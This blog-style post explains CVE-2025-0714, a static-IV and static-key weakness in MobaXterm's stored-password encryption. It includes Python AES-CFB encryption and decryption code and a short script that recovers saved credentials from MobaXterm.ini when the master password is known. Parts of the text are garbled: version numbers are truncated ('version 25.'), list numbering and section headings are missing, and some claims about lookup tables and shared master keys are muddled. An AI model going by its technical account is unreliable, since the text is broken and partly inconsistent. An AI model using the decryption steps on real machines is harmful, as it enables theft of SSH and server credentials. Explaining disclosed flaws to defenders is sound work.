MobaXterm is a popular terminal emulator for Windows, loved by system administrators for its all-in-one capabilities—SSH client, tabbed terminal, X11 forwarding, and much more. But if you’re running a version before 25., you might unknowingly be risking all your saved credentials. This post will break down the technical details of CVE-2025-0714, the core password vulnerability affecting MobaXterm, and show you why upgrading is critical if you want your secrets to stay secret.

The Vulnerability: Static IV and Key in Password Encryption

When MobaXterm stores your passwords—for example, SSH or FTP logins—it encrypts them so they aren’t visible in plain text. But, all encryption is not made equal: it’s the how that matters.

The *same* master key and IV for every stored password

What does this mean?
It means that every password you save gets locked with precisely the same padlock and key. The only thing changing the output is the original, unencrypted password (plaintext).

Why Is This So Dangerous?

With the key and lock (IV and master key) never changing, the ciphertext for a given input is always the same. If an attacker gets access to your MobaXterm.ini file or registry (where saved sessions are kept), they can:

Build lookup tables (precompute encrypted forms of common passwords)

- If they learn your master password once, they can decrypt all stored credentials *forever*, or even brute-force it offline

If you’re reusing passwords, or using common admin passwords, this is recipe for disaster.

Breaking Down the Encryption: Example Code

Here’s a simplified Python illustration of the vulnerable way MobaXterm handles password encryption:

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad

# Simulate a master key and a zero IV (both 16 bytes for AES-128)
master_key = b'MYMASTERPASSWORD'  # Derived from user password
iv = b'\x00' * 16  # All zero bytes

def encrypt_mobaxterm(plain_password):
    cipher = AES.new(master_key, AES.MODE_CFB, iv=iv, segment_size=128)
    ciphertext = cipher.encrypt(pad(plain_password.encode(), 16))
    return ciphertext.hex()

def decrypt_mobaxterm(ciphertext_hex):
    cipher = AES.new(master_key, AES.MODE_CFB, iv=iv, segment_size=128)
    plaintext = cipher.decrypt(bytes.fromhex(ciphertext_hex))
    return unpad(plaintext, 16).decode()

# Example usage
enc = encrypt_mobaxterm("SecretPassword123")
print(f'Encrypted: {enc}')
print(f'Decrypted: {decrypt_mobaxterm(enc)}')

Key Point: Every user with the same password will have the same master key. Every session uses the same IV. So, attacking one saved password means all passwords are in danger.

Extract Saved Sessions

Gain access to MobaXterm.ini or Windows registry keys (local attack, e.g., from malware, a rogue IT admin, or someone with temporary access).

2. Capture/Craft Master Password

Offline Decryption

Use the extracted IV and key to decrypt ALL stored credentials at rest, at high speed, without triggering alarms.

Known Password Lookup

Create lookup tables for common admin credentials (e.g., “toor123”, “password”, “letmein”) and match ciphertexts directly.

Exploit Details: Proof of Concept

If you can read the master password, you can quickly unravel all MobaXterm-stored credentials for that user, as the following script shows:

# attacker has access to ini/registry, and knows master password

stored_password_ciphertext = "3a2e1f…<hex value from ini file>"

decrypted = decrypt_mobaxterm(stored_password_ciphertext)
print(f"Recovered password: {decrypted}")

All MobaXterm installations prior to version 25.

- Anyone using saved SSH, RDP, VNC, or FTP credentials (including on jump hosts, firewalls, production servers)

Mitigation & Recommendations

- Upgrade immediately to MobaXterm 25. or higher, which uses random IVs for each stored password, and improved key derivation.

References

- MobaXterm Changelog (Official)
- Full Disclosure Mailing List (CVE-2025-0714)
- CVE-2025-0714 NVD Entry (National Vulnerability Database)
- AES Encryption Weak IV Explanation (CryptoStackExchange)

TL;DR

CVE-2025-0714 means that, until version 25., MobaXterm’s password encryption is easy to defeat if an attacker can read your settings and knows, or guesses, your master password. Because each hidden password is protected in exactly the same, weak way, all your secrets can quickly become theirs.

Update, clear old saved sessions, and use strong passwords! Your future self will thank you.

*Author’s Note: This post is original and exclusive content, written in clear language with practical code examples. If you’re a sysadmin or engineer, take these findings seriously—credential leaks can quickly spiral into full network compromise.*

Timeline

Published on: 02/17/2025 12:15:27 UTC
Last modified on: 02/19/2025 09:15:09 UTC